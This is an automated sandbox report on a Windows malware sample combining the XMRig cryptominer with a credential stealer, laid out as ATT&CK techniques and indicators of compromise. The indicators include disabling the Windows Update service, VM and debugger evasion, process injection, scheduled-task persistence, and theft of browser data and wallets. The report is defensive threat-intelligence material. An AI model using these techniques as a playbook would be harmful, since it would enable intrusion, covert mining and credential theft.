xmrig | 0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75

Analysis

max time kernel
300s
max time network
287s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
29-09-2022 03:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe
Size

345KB
MD5

eec7e67afe150415f007130fb618ef24
SHA1

40cd834f95206e7c491a07749613d8c49206d48a
SHA256

0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75
SHA512

1fd070b9b1b80dcf4a892492a6024b6389bc946edd20c10d59642447f48ab8f330f62db468a28f626c5b479fc332980a2888b08d33229078dc3e86ad97541e63
SSDEEP

6144:8GLlCEu5NC9YscJ8+tM1RMOcpohtLLbowLmW70FGg6WYc:notCXcJ4MRpoXowLmWtg9

Score

10^/10

xmrig discovery evasion miner spyware stealer themida trojan upx

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

updater.exeMoUSO.exesetup.exesetup1.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	MoUSO.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup1.exe

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/4520-1061-0x00007FF72EB50000-0x00007FF72F344000-memory.dmp	xmrig
behavioral2/memory/4520-1062-0x00007FF72EB50000-0x00007FF72F344000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

Processes:

WScript.exe

flow pid process

19 4580 WScript.exe
Downloads MZ/PE file
Drops file in Drivers directory 2 IoCs

Processes:

setup.exeupdater.exe

description ioc process

File created C:\Windows\system32\drivers\etc\hosts setup.exe
File created C:\Windows\system32\drivers\etc\hosts updater.exe
Executes dropped EXE 6 IoCs

Processes:

setup.exesetup1.exeupdater.exesetup2.exes.exeMoUSO.exe

pid process

4540 setup.exe
2160 setup1.exe
1048 updater.exe
4776 setup2.exe
3160 s.exe
2824 MoUSO.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
19	4580	WScript.exe

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	setup.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

pid	process
4540	setup.exe
2160	setup1.exe
1048	updater.exe
4776	setup2.exe
3160	s.exe
2824	MoUSO.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/4520-1061-0x00007FF72EB50000-0x00007FF72F344000-memory.dmp	upx
behavioral2/memory/4520-1062-0x00007FF72EB50000-0x00007FF72F344000-memory.dmp	upx

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

setup.exesetup1.exeupdater.exeMoUSO.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MoUSO.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

setup1.exeMoUSO.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Wine	setup1.exe
Key opened	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Wine	MoUSO.exe

Loads dropped DLL 3 IoCs

Processes:

s.exe

pid process

3160 s.exe
3160 s.exe
3160 s.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3160	s.exe
3160	s.exe
3160	s.exe

Themida packer 16 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/4540-124-0x00007FF6A7EF0000-0x00007FF6A8BFB000-memory.dmp	themida
behavioral2/memory/4540-123-0x00007FF6A7EF0000-0x00007FF6A8BFB000-memory.dmp	themida
behavioral2/memory/4540-125-0x00007FF6A7EF0000-0x00007FF6A8BFB000-memory.dmp	themida
behavioral2/memory/4540-126-0x00007FF6A7EF0000-0x00007FF6A8BFB000-memory.dmp	themida
behavioral2/memory/4540-127-0x00007FF6A7EF0000-0x00007FF6A8BFB000-memory.dmp	themida
behavioral2/memory/4540-128-0x00007FF6A7EF0000-0x00007FF6A8BFB000-memory.dmp	themida
behavioral2/memory/4540-129-0x00007FF6A7EF0000-0x00007FF6A8BFB000-memory.dmp	themida
behavioral2/memory/4540-149-0x00007FF6A7EF0000-0x00007FF6A8BFB000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/4540-328-0x00007FF6A7EF0000-0x00007FF6A8BFB000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/1048-352-0x00007FF72C160000-0x00007FF72CE6B000-memory.dmp	themida
behavioral2/memory/1048-598-0x00007FF72C160000-0x00007FF72CE6B000-memory.dmp	themida
behavioral2/memory/1048-1057-0x00007FF72C160000-0x00007FF72CE6B000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

updater.exesetup.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

setup.exesetup1.exeupdater.exeMoUSO.exe

pid process

4540 setup.exe
2160 setup1.exe
1048 updater.exe
2824 MoUSO.exe

pid	process
4540	setup.exe
2160	setup1.exe
1048	updater.exe
2824	MoUSO.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exeupdater.exe

description	pid	process	target process
PID 2772 set thread context of 3768	2772	0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe	RegSvcs.exe
PID 1048 set thread context of 4632	1048	updater.exe	conhost.exe
PID 1048 set thread context of 4520	1048	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

setup.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	setup.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4288 sc.exe
4528 sc.exe
3188 sc.exe
1256 sc.exe
4088 sc.exe
1120 sc.exe
3136 sc.exe
1528 sc.exe
1564 sc.exe
4684 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

516 schtasks.exe

pid	process
4288	sc.exe
4528	sc.exe
3188	sc.exe
1256	sc.exe
4088	sc.exe
1120	sc.exe
3136	sc.exe
1528	sc.exe
1564	sc.exe
4684	sc.exe

pid	process
516	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Modifies registry class 1 IoCs

Processes:

setup2.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings setup2.exe
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 19 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000_Classes\Local Settings	setup2.exe

description	flow	ioc
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

setup1.exepowershell.exepowershell.exepowershell.exeMoUSO.exe

pid	process
2160	setup1.exe
2160	setup1.exe
4264	powershell.exe
4264	powershell.exe
4264	powershell.exe
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe
2856	powershell.exe
2856	powershell.exe
2856	powershell.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe
2824	MoUSO.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

636

pid	process
636

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	4264	powershell.exe
Token: SeIncreaseQuotaPrivilege	4264	powershell.exe
Token: SeSecurityPrivilege	4264	powershell.exe
Token: SeTakeOwnershipPrivilege	4264	powershell.exe
Token: SeLoadDriverPrivilege	4264	powershell.exe
Token: SeSystemProfilePrivilege	4264	powershell.exe
Token: SeSystemtimePrivilege	4264	powershell.exe
Token: SeProfSingleProcessPrivilege	4264	powershell.exe
Token: SeIncBasePriorityPrivilege	4264	powershell.exe
Token: SeCreatePagefilePrivilege	4264	powershell.exe
Token: SeBackupPrivilege	4264	powershell.exe
Token: SeRestorePrivilege	4264	powershell.exe
Token: SeShutdownPrivilege	4264	powershell.exe
Token: SeDebugPrivilege	4264	powershell.exe
Token: SeSystemEnvironmentPrivilege	4264	powershell.exe
Token: SeRemoteShutdownPrivilege	4264	powershell.exe
Token: SeUndockPrivilege	4264	powershell.exe
Token: SeManageVolumePrivilege	4264	powershell.exe
Token: 33	4264	powershell.exe
Token: 34	4264	powershell.exe
Token: 35	4264	powershell.exe
Token: 36	4264	powershell.exe
Token: SeShutdownPrivilege	3688	powercfg.exe
Token: SeCreatePagefilePrivilege	3688	powercfg.exe
Token: SeDebugPrivilege	5028	powershell.exe
Token: SeShutdownPrivilege	4548	powercfg.exe
Token: SeCreatePagefilePrivilege	4548	powercfg.exe
Token: SeShutdownPrivilege	4496	powercfg.exe
Token: SeCreatePagefilePrivilege	4496	powercfg.exe
Token: SeShutdownPrivilege	520	powercfg.exe
Token: SeCreatePagefilePrivilege	520	powercfg.exe
Token: SeIncreaseQuotaPrivilege	5028	powershell.exe
Token: SeSecurityPrivilege	5028	powershell.exe
Token: SeTakeOwnershipPrivilege	5028	powershell.exe
Token: SeLoadDriverPrivilege	5028	powershell.exe
Token: SeSystemProfilePrivilege	5028	powershell.exe
Token: SeSystemtimePrivilege	5028	powershell.exe
Token: SeProfSingleProcessPrivilege	5028	powershell.exe
Token: SeIncBasePriorityPrivilege	5028	powershell.exe
Token: SeCreatePagefilePrivilege	5028	powershell.exe
Token: SeBackupPrivilege	5028	powershell.exe
Token: SeRestorePrivilege	5028	powershell.exe
Token: SeShutdownPrivilege	5028	powershell.exe
Token: SeDebugPrivilege	5028	powershell.exe
Token: SeSystemEnvironmentPrivilege	5028	powershell.exe
Token: SeRemoteShutdownPrivilege	5028	powershell.exe
Token: SeUndockPrivilege	5028	powershell.exe
Token: SeManageVolumePrivilege	5028	powershell.exe
Token: 33	5028	powershell.exe
Token: 34	5028	powershell.exe
Token: 35	5028	powershell.exe
Token: 36	5028	powershell.exe
Token: SeIncreaseQuotaPrivilege	5028	powershell.exe
Token: SeSecurityPrivilege	5028	powershell.exe
Token: SeTakeOwnershipPrivilege	5028	powershell.exe
Token: SeLoadDriverPrivilege	5028	powershell.exe
Token: SeSystemProfilePrivilege	5028	powershell.exe
Token: SeSystemtimePrivilege	5028	powershell.exe
Token: SeProfSingleProcessPrivilege	5028	powershell.exe
Token: SeIncBasePriorityPrivilege	5028	powershell.exe
Token: SeCreatePagefilePrivilege	5028	powershell.exe
Token: SeBackupPrivilege	5028	powershell.exe
Token: SeRestorePrivilege	5028	powershell.exe
Token: SeShutdownPrivilege	5028	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

s.exe

pid process

3160 s.exe

pid	process
3160	s.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exeRegSvcs.exesetup.execmd.execmd.exesetup1.exepowershell.exesetup2.exe

description	pid	process	target process
PID 2772 wrote to memory of 3768	2772	0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe	RegSvcs.exe
PID 2772 wrote to memory of 3768	2772	0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe	RegSvcs.exe
PID 2772 wrote to memory of 3768	2772	0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe	RegSvcs.exe
PID 2772 wrote to memory of 3768	2772	0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe	RegSvcs.exe
PID 2772 wrote to memory of 3768	2772	0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe	RegSvcs.exe
PID 2772 wrote to memory of 3768	2772	0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe	RegSvcs.exe
PID 2772 wrote to memory of 3768	2772	0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe	RegSvcs.exe
PID 2772 wrote to memory of 3768	2772	0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe	RegSvcs.exe
PID 2772 wrote to memory of 3768	2772	0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe	RegSvcs.exe
PID 2772 wrote to memory of 3768	2772	0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe	RegSvcs.exe
PID 2772 wrote to memory of 3768	2772	0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe	RegSvcs.exe
PID 3768 wrote to memory of 4540	3768	RegSvcs.exe	setup.exe
PID 3768 wrote to memory of 4540	3768	RegSvcs.exe	setup.exe
PID 3768 wrote to memory of 2160	3768	RegSvcs.exe	setup1.exe
PID 3768 wrote to memory of 2160	3768	RegSvcs.exe	setup1.exe
PID 3768 wrote to memory of 2160	3768	RegSvcs.exe	setup1.exe
PID 4540 wrote to memory of 4264	4540	setup.exe	powershell.exe
PID 4540 wrote to memory of 4264	4540	setup.exe	powershell.exe
PID 4540 wrote to memory of 3356	4540	setup.exe	cmd.exe
PID 4540 wrote to memory of 3356	4540	setup.exe	cmd.exe
PID 4540 wrote to memory of 5024	4540	setup.exe	cmd.exe
PID 4540 wrote to memory of 5024	4540	setup.exe	cmd.exe
PID 4540 wrote to memory of 5028	4540	setup.exe	powershell.exe
PID 4540 wrote to memory of 5028	4540	setup.exe	powershell.exe
PID 5024 wrote to memory of 3688	5024	cmd.exe	powercfg.exe
PID 5024 wrote to memory of 3688	5024	cmd.exe	powercfg.exe
PID 3356 wrote to memory of 4288	3356	cmd.exe	sc.exe
PID 3356 wrote to memory of 4288	3356	cmd.exe	sc.exe
PID 5024 wrote to memory of 4548	5024	cmd.exe	powercfg.exe
PID 5024 wrote to memory of 4548	5024	cmd.exe	powercfg.exe
PID 5024 wrote to memory of 4496	5024	cmd.exe	powercfg.exe
PID 5024 wrote to memory of 4496	5024	cmd.exe	powercfg.exe
PID 3356 wrote to memory of 4528	3356	cmd.exe	sc.exe
PID 3356 wrote to memory of 4528	3356	cmd.exe	sc.exe
PID 5024 wrote to memory of 520	5024	cmd.exe	powercfg.exe
PID 5024 wrote to memory of 520	5024	cmd.exe	powercfg.exe
PID 2160 wrote to memory of 516	2160	setup1.exe	schtasks.exe
PID 2160 wrote to memory of 516	2160	setup1.exe	schtasks.exe
PID 2160 wrote to memory of 516	2160	setup1.exe	schtasks.exe
PID 3356 wrote to memory of 3188	3356	cmd.exe	sc.exe
PID 3356 wrote to memory of 3188	3356	cmd.exe	sc.exe
PID 3356 wrote to memory of 1256	3356	cmd.exe	sc.exe
PID 3356 wrote to memory of 1256	3356	cmd.exe	sc.exe
PID 3356 wrote to memory of 1528	3356	cmd.exe	sc.exe
PID 3356 wrote to memory of 1528	3356	cmd.exe	sc.exe
PID 3356 wrote to memory of 308	3356	cmd.exe	reg.exe
PID 3356 wrote to memory of 308	3356	cmd.exe	reg.exe
PID 3356 wrote to memory of 2272	3356	cmd.exe	reg.exe
PID 3356 wrote to memory of 2272	3356	cmd.exe	reg.exe
PID 3356 wrote to memory of 4896	3356	cmd.exe	reg.exe
PID 3356 wrote to memory of 4896	3356	cmd.exe	reg.exe
PID 3356 wrote to memory of 652	3356	cmd.exe	reg.exe
PID 3356 wrote to memory of 652	3356	cmd.exe	reg.exe
PID 3356 wrote to memory of 4688	3356	cmd.exe	reg.exe
PID 3356 wrote to memory of 4688	3356	cmd.exe	reg.exe
PID 4540 wrote to memory of 2856	4540	setup.exe	powershell.exe
PID 4540 wrote to memory of 2856	4540	setup.exe	powershell.exe
PID 2856 wrote to memory of 3660	2856	powershell.exe	schtasks.exe
PID 2856 wrote to memory of 3660	2856	powershell.exe	schtasks.exe
PID 3768 wrote to memory of 4776	3768	RegSvcs.exe	setup2.exe
PID 3768 wrote to memory of 4776	3768	RegSvcs.exe	setup2.exe
PID 3768 wrote to memory of 4776	3768	RegSvcs.exe	setup2.exe
PID 4776 wrote to memory of 4580	4776	setup2.exe	WScript.exe
PID 4776 wrote to memory of 4580	4776	setup2.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe
"C:\Users\Admin\AppData\Local\Temp\0131154181fecb45f5202d01df6829c8dda517cfd222cd8ca0cf2c493b128c75.exe"
